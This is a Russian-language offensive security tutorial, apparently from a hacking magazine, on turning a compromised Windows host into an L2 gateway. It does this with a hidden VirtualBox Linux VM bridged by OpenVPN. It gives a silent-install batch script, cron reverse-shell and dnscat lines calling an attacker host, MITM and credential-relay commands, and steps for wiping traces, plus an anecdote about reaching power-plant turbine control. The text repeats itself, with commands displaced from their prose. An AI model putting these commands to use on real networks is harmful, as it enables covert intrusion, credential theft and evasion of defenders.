Реализовать MITM-атаку на Windows куда сложнее, чем на Linux, потому что нет нормальной возможности пересылать транзитные пакеты. Мы сделаем так, чтобы шлюзом был минималистичный Linux, поднятый как виртуальная машина. При этом сетевые интерфейсы будут объединены в мост, что даст возможность гостевой ОС получить полноценный L2-доступ в тот же сетевой сегмент, что и скомпрометированной Windows. А поможет нам в этом VirtualBox.
Представь, что тебе удалось пробить сетевой периметр и получить доступ к серверу, который работает на Windows. Но что дальше? Нужно двигаться по инфраструктуре — от DMZ до контроллера домена или до технологической сети и управления турбинами!
Или что мы уже давно в локальной сети, но захватить контроль над каким-либо сервером не получается — все обновления установлены и нет никаких зацепок, кроме скомпрометированных машин в ее VLAN.
И в том и в другом случае атакующий — это интерфейс прямо в VLAN скомпрометированной машины, да еще и на уровне L2. Тем самым мы превратили бы подконтрольный нам хост с Windows в некий шлюз и избавили бы себя от необходимости ставить специальное ПО для сканирования сети и разного рода сетевых атак.
У доступа L2 есть ряд дополнительных преимуществ. Мы можем проводить:
Так уж сложилось, что большинство хостов в локальных сетях работают на Windows. И так уж сложилось, что Windows, мягко говоря, не лучшая платформа для атак. Здесь нельзя полноценно реализовать IP forwarding, поэтому атака подобного рода грозит тем, что будет парализована работа всего сетевого сегмента.
Другие способы провернуть тоже непросто. Например, можно было бы настроить OpenVPN и сетевой мост, но настройка моста из командной строки в Windows реализована плохо, и, изменив настройки, скорее всего, ты безвозвратно потеряешь доступ.
Реализация MITM атаки
Разумеется, для полноценной постэксплуатации потребуются административные полномочия.
В качестве виртуальной машины, в которой мы будем запускать Linux на скомпрометированном хосте, я предлагаю использовать VirtualBox, поскольку она:
Но сразу должен тебя предупредить, что есть случай, когда эта техника не сработает. Если скомпрометированная система — это уже виртуальная машина, то вполне может быть, что в ее настройках отключен неразборчивый режим для сетевой карты. Это может привести к тому, что сетевые пакеты не будут заходить в нашу виртуальную машину.
Делаем гостевую систему
В качестве гостевой ОС есть смысл рассматривать два варианта:
Но мы вместо того, чтобы закидывать в эту виртуалку весь любимый софт, соберем свою с чистого листа и превратим в шлюз, который предоставит нам комфортный L2-доступ к атакованному хосту из любой точки мира.
Так мы сэкономим 1–2 Гбайт места, так как весь ][-софт будет запускаться с машины атакующего, да и антивирус в таком случае ничего не увидит.
Чтобы сделать дистрибутив минималистичным, потребуется создать его, что называется, from scratch. Наиболее переносимым вариантом будет 32-битная система.
Создаем образ, который впоследствии будем наполнять:
Создаем разметку диска — один логический раздел:
Также на случай, если виртуалка поднимается в фильтруемом сетевом сегменте, я предусмотрел обратный шелл. Прописываем в cron:
Теперь осталось очистить базу dpkg, так мы освободим 50 Мбайт места:
В итоге весь образ занял у меня 341 Мбайт.
Тихая установка и запуск VirtualBox
Скачиваем дистрибутив . Я взял версию 5.2.6-120293, она должна работать в любой Windows с XP по 10.
Чтобы установить ее в тихом режиме, потребуется достать установочные пакеты .msi:
Для удобства вот батник, который деплоит все, что нужно, в скрытом режиме:
Возможно, пролистав все настройки, ты уже готов пожаловаться на то, что все это слишком сложно. Но на самом деле ничего сложного здесь нет. Наоборот — сложно работать, используя хакерский софт для Windows, который:
Последний этап, который мы рассмотрим, — это запуск нашей виртуальной машины на захваченной машине с Windows.
Для начала копируем все и запускаем:
Скорректируем выданный виртуалке IP-адрес в /etc/openvpn/server.conf, после чего запускаем его:
В итоге благодаря магии виртуализации и сетевых туннелей мы открыли портал в сетевой сегмент скомпрометированной системы и тем самым выжали максимум пользы во время постэксплуатации. Теперь мощь всех инструментов, реализованных главным образом в Linux, обрушит неприступность практически любой, даже полностью пропатченной и защищенной на первый взгляд системы.
Уходим красиво
Когда придет время заметать следы, выключаем и удаляем виртуалку, удаляем VirtualBox, убираем сертификат, удаляем все файлы:
Пример из жизни
Напоследок — пример из практики, благодаря которому и родилась описанная идея.
Однажды на реальном внутреннем пентесте мы оказались в шаге от получения доступа к управлению турбинами гидроэлектростанции. Вся загвоздка заключалась в том, что управляющий ПК не состоял в домене (так часто бывает с технологическими компонентами) и не содержал никаких актуальных уязвимостей.
Единственным шансом была MITM-атака или через ARP spoofing или частичная через NetBios spoofing. Однако во всем сетевом сегменте не было серверов с Linux, пригодных для эксплуатации MITM-атак, а доступ был лишь на несколько смежных рабочих станций с Windows. И тогда мы провернули описанную выше процедуру (правда, в качестве гостевой ОС запустили Kali).
В результате минут через пятнадцать у нас была учетка локального администратора и доступ в технологическую сеть.
Представь, что тебе удалось пробить сетевой периметр и получить доступ к серверу, который работает на Windows. Но что дальше? Нужно двигаться по инфраструктуре — от DMZ до контроллера домена или до технологической сети и управления турбинами!
Или что мы уже давно в локальной сети, но захватить контроль над каким-либо сервером не получается — все обновления установлены и нет никаких зацепок, кроме скомпрометированных машин в ее VLAN.
И в том и в другом случае атакующий — это интерфейс прямо в VLAN скомпрометированной машины, да еще и на уровне L2. Тем самым мы превратили бы подконтрольный нам хост с Windows в некий шлюз и избавили бы себя от необходимости ставить специальное ПО для сканирования сети и разного рода сетевых атак.
У доступа L2 есть ряд дополнительных преимуществ. Мы можем проводить:
- MITM-атаки, эксплуатируя слабости протокола Ethernet (arpspoof);
- атаки на NetBIOS (responder);
- атаки на IPv6 (mitm6).
Так уж сложилось, что большинство хостов в локальных сетях работают на Windows. И так уж сложилось, что Windows, мягко говоря, не лучшая платформа для атак. Здесь нельзя полноценно реализовать IP forwarding, поэтому атака подобного рода грозит тем, что будет парализована работа всего сетевого сегмента.
Другие способы провернуть тоже непросто. Например, можно было бы настроить OpenVPN и сетевой мост, но настройка моста из командной строки в Windows реализована плохо, и, изменив настройки, скорее всего, ты безвозвратно потеряешь доступ.
Реализация MITM атаки
Разумеется, для полноценной постэксплуатации потребуются административные полномочия.
В качестве виртуальной машины, в которой мы будем запускать Linux на скомпрометированном хосте, я предлагаю использовать VirtualBox, поскольку она:
- может быть установлена в тихом режиме;
- поставляется с крайне функциональным CLI-инструментом VBoxManage;
- может работать на старом железе без аппаратной виртуализации;
- позволяет запустить виртуальную машину в фоне.
- такой подход никак не палится антивирусом, ведь мы используем только легитимное ПО;
- не требуется ничего делать через графический интерфейс, достаточно psexec, webshell или netcat;
- будет работать на всех Windows от XP/2003 до 10/2019;
- метод достаточно чист в плане следов — все действия происходят в файловой системе виртуальной машины.
Но сразу должен тебя предупредить, что есть случай, когда эта техника не сработает. Если скомпрометированная система — это уже виртуальная машина, то вполне может быть, что в ее настройках отключен неразборчивый режим для сетевой карты. Это может привести к тому, что сетевые пакеты не будут заходить в нашу виртуальную машину.
Делаем гостевую систему
В качестве гостевой ОС есть смысл рассматривать два варианта:
- с полноценным набором хакерского софта;
- минималистичный дистрибутив с OpenVPN, который будет играть роль шлюза.
Но мы вместо того, чтобы закидывать в эту виртуалку весь любимый софт, соберем свою с чистого листа и превратим в шлюз, который предоставит нам комфортный L2-доступ к атакованному хосту из любой точки мира.
Так мы сэкономим 1–2 Гбайт места, так как весь ][-софт будет запускаться с машины атакующего, да и антивирус в таком случае ничего не увидит.
Чтобы сделать дистрибутив минималистичным, потребуется создать его, что называется, from scratch. Наиболее переносимым вариантом будет 32-битная система.
Создаем образ, который впоследствии будем наполнять:
Мы указали размер образа с запасом в 1 Гбайт, в дальнейшем формат VDI сожмет пустоты.truncate -s 1G linux.img
Создаем разметку диска — один логический раздел:
Создаем файловую систему и монтируем готовый раздел:$ fdisk linux.img
Command (m for help):n
Command (m for help)
Partition number (1-4, default 1):
First sector (2048-2097151, default 2048):
Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-2097151, default 2097151):
Command (m for help):w
Command (m for help):q
Скачиваем минимальный набор user-space:sudo losetup -o $[2048*512] /dev/loop0 linux.img
sudo mkfs.ext4 /dev/loop0
sudo mount /dev/loop0 /mnt/
Теперь осталось собрать ядро:sudo debootstrap --arch=i386 --variant=minbase stable /mnt/
Создаем дефолтную конфигурацию ядра:cd /usr/src/linux-5.5.1/
Также нам потребуется несколько дополнительных модулей:make ARCH=i386 defconfig
make ARCH=i386 menuconfig
- Сперва самое главное — поддержка сетевого моста (bridge): Networking support → Networking options → 802.1d Ethernet Bridging.
- Поддержка виртуальных интерфейсов (tun) тоже потребуется: Device Drivers → Network device support → Network core driver support → Universal TUN/TAP device driver support.
- Помимо OpenVPN, туннель можно построить и через GRE (опционально): Networking support → Networking options → TCP/IP networking → The IPv6 protocol → IPv6: GRE tunnel.
- Для построения PPP-туннелей в одну команду (тоже опционально): Device Drivers → Network device support → PPP (point-to-point protocol) support.
Собираем модули:make ARCH=i386 prepare
make ARCH=i386 scripts
make ARCH=i386 bzImage
После того как все собралось, копируем ядро и модули:make ARCH=i386 modules
Остался RAM-диск. Его, если хост-система 64-битная, лучше собрать на 32-битной системе. Только что скачанное через debootstrap окружение идеально подходит для этого:make INSTALL_PATH=/mnt/boot install
make INSTALL_MOD_PATH=/mnt/ modules_install
И последнее — загрузчик ОС.chroot /mnt/
mkinitramfs -k -o /boot/initrd.img-5.5.0 5.5.0
apt remove initramfs-tools-core && apt autoremove
exit
Пропишем опции для загрузки:grub-install --target=i386-pc --boot-directory=/mnt/boot/ linux.img --modules='part_msdos'
Готово. Мы получили полностью работоспособную ОС. Теперь нужно слегка настроить ее. Снова заходим в файловую систему:mnt/boot/grub/grub.cfg
set timeout=5
menuentry "Debian Linux" {
linux /boot/vmlinuz-5.5.0 root=/dev/sda1 rw
initrd /boot/initrd.img-5.5.0
}
Сперва настроим SSH, без этого никуда:chroot /mnt/
Не забываем указать пароль для root:apt install openssh-server
update-rc.d ssh enable 2 3 4 5
Теперь очередь сервера OpenVPN, через который и предполагается организовывать себе доступ:passwd root
Опустим этап генерации сертификатов и ключей для OpenVPN. Итоговый конфиг для серверной стороны должен выглядеть так:apt install openvpn
Здесь up.sh и down.sh — это скрипты, которые должны добавлять интерфейс VPN в сетевой мост.local 10.10.10.10
port 1194
proto tcp
dev tap
user nobody
group nogroup
<ca>
...
</ca>
<cert>
...
</cert>
<key>
...
</key>
<dh>
...
</dh>
cipher AES-128-CBC
comp-lzo
server-bridge 10.10.10.10 255.255.255.0 10.10.10.40 10.10.10.50
script-security 2
up /etc/openvpn/up.sh
down /etc/openvpn/down.sh
persist-key
persist-tun
Дополнительно я для себя добавил клиент OpenVPN для подключения к VDS, который поднимется сразу после запуска виртуалки и позволит подключаться откуда угодно./etc/openvpn/up.sh
#!/bin/sh
/usr/sbin/brctl addif br0 "$1"
/usr/sbin/ifconfig "$1" up
/etc/openvpn/down.sh
#!/bin/sh
/usr/sbin/brctl delif br0 "$1"
/usr/sbin/ifconfig "$1" down
Также на случай, если виртуалка поднимается в фильтруемом сетевом сегменте, я предусмотрел обратный шелл. Прописываем в cron:
-
* * * * /bin/nc -e /bin/bash attacker.my_zone.tk 8888
-
* * * * /bin/ping -c 1 dnsshell.my_zone.tk 1> /dev/null 2> /dev/null && /usr/local/bin/dnscat dnscat.my_zone.tk
Теперь осталось очистить базу dpkg, так мы освободим 50 Мбайт места:
И отмонтируем готовую ФС:apt clean
Последний штрих — создание образа для VirtualBox. Предварительно сконвертируем его в формат VDI:umount /mnt
losetup -d /dev/loop0
Все готово. Теперь импортируем диск в VirtualBox, указываем количество процессоров и оперативки (все по минимуму) и на выходе получаем готовый файл linux.ova, который можно будет импортировать на любом хосте без лишних вопросов.qemu-img convert -O vdi linux.img linux.vdi
В итоге весь образ занял у меня 341 Мбайт.
Тихая установка и запуск VirtualBox
Скачиваем дистрибутив . Я взял версию 5.2.6-120293, она должна работать в любой Windows с XP по 10.
Чтобы установить ее в тихом режиме, потребуется достать установочные пакеты .msi:
В папке %USER%\appdata\local\temp\virtualbox\ будут лежать все необходимые для установки файлы:virtualbox-5.2.6-120293-Win.exe -extract
- VirtualBox-5.2.6-MultiArch_amd64.msi
- VirtualBox-5.2.6-r120293-MultiArch_x86.msi
- common.cab
Для удобства вот батник, который деплоит все, что нужно, в скрытом режиме:
Аргументы в пользу Linuxpushd %~dp0
certutil -addstore TrustedPublisher cert.cer
dir "\prog*86)" > nul 2> nul && (
msiexec /i VirtualBox-5.2.6-r120293-MultiArch_amd64.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
) || (
msiexec /i VirtualBox-5.2.6-r120293-MultiArch_x86.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
)
ping -n 300 127.0.0.1 >nul
c:\post\vboxmanage import linux.ova --options keepallmacs
c:\post\vboxmanage list bridgedifs|findstr /R "^Name:" > out.txt
setlocal enabledelayedexpansion
set /a c=1
for /f "tokens=2*" %%i in ('type out.txt') do (
echo c:\post\vboxmanage modifyvm linux32 --nic!c! bridged --bridgeadapter!c! "%%i %%j" >> out.bat
echo c:\post\vboxmanage modifyvm linux32 --nicpromisc!c! allow-all >> out.bat
set /a c=c+1
)
chcp 1251
call out.bat
chcp 866
c:\post\vboxmanage modifyvm linux32 --pae on
c:\post\vboxmanage startvm linux32 --type headless
Возможно, пролистав все настройки, ты уже готов пожаловаться на то, что все это слишком сложно. Но на самом деле ничего сложного здесь нет. Наоборот — сложно работать, используя хакерский софт для Windows, который:
- в половине случаев не заведется или заведется, но не будет нормально работать;
- также в половине случаев захочет показать графическую оболочку, а это зачастую роскошь;
- потребует как-то обходить антивирусное ПО;
- потребует ставить интерпретаторы типа Python и кучу разных зависимостей, что без доступа к интернету станет дополнительной проблемой;
- иногда может потребовать даже перезагрузку (в Windows частое явление);
- никак не сравнится по функциональности и гибкости с аналогичной экосистемой в Linux.
Последний этап, который мы рассмотрим, — это запуск нашей виртуальной машины на захваченной машине с Windows.
Для начала копируем все и запускаем:
Ждем пять минут, и если все пошло хорошо, то в требуемом сетевом сегменте появится новый хост с открытым 22-м портом, куда мы сможем зайти:cd /usr/share/windows-binaries/vbox/
smbclient -U user%pass //owned_host -c "mkdir post; cd post; put cert.cer; put common.cab; put install.bat; put linux.ova; put VirtualBox-5.2.6-r120293-MultiArch_amd64.msi; put VirtualBox-5.2.6-r120293-MultiArch_x86.msi"
psexec.py userass@owned_host "start c:\post\install.bat"
Дальше помещаем нужный сетевой интерфейс в мост:ssh root@vbox_vm
Важно все сделать одной командой, чтобы не потерять связь.brctl addbr br0; brctl addif br0 enp0s3; ifconfig enp0s3 0 promisc; ifconfig br0 10.10.10.10/24; route add -net default gw 10.10.10.1
Скорректируем выданный виртуалке IP-адрес в /etc/openvpn/server.conf, после чего запускаем его:
Далее уже на своей основной системе (с Linux, конечно же) делаемopenvpn --config server.conf
И получаем интерфейс tap0, словно мы подключены патч-кордом в VLAN скомпрометированной системы. Здесь уже можем творить все, что захотим:openvpn --config client.conf
И многое, многое другое.ettercap -i tap0 -Tq -o -M arp:remote /gateway// /dc//
responder -I tap0 -r -d -w -F
netcreds -i tap0
iptables -t nat -A PREROUTING -i tap0 -p tcp --dport 445 -j REDIRECT --to-ports 445
smbrelayx.py -h target -e shell.exe
iptables -t nat -A PREROUTING -i tap0 -p tcp --dport 80 -j REDIRECT --to-ports 10000
mitmf -i tap0 --smbauth
В итоге благодаря магии виртуализации и сетевых туннелей мы открыли портал в сетевой сегмент скомпрометированной системы и тем самым выжали максимум пользы во время постэксплуатации. Теперь мощь всех инструментов, реализованных главным образом в Linux, обрушит неприступность практически любой, даже полностью пропатченной и защищенной на первый взгляд системы.
Уходим красиво
Когда придет время заметать следы, выключаем и удаляем виртуалку, удаляем VirtualBox, убираем сертификат, удаляем все файлы:
Никаких следов. Почти.vboxmanage controlvm linux32 poweroff
vboxmanage unregistervm linux32 --delete
wmic product where name="Oracle VM VirtualBox 5.2.6" call uninstall /nointeractive
certutil -delstore TrustedPublisher cert.cer
rmdir /s /q c:\post
Пример из жизни
Напоследок — пример из практики, благодаря которому и родилась описанная идея.
Однажды на реальном внутреннем пентесте мы оказались в шаге от получения доступа к управлению турбинами гидроэлектростанции. Вся загвоздка заключалась в том, что управляющий ПК не состоял в домене (так часто бывает с технологическими компонентами) и не содержал никаких актуальных уязвимостей.
Единственным шансом была MITM-атака или через ARP spoofing или частичная через NetBios spoofing. Однако во всем сетевом сегменте не было серверов с Linux, пригодных для эксплуатации MITM-атак, а доступ был лишь на несколько смежных рабочих станций с Windows. И тогда мы провернули описанную выше процедуру (правда, в качестве гостевой ОС запустили Kali).
В результате минут через пятнадцать у нас была учетка локального администратора и доступ в технологическую сеть.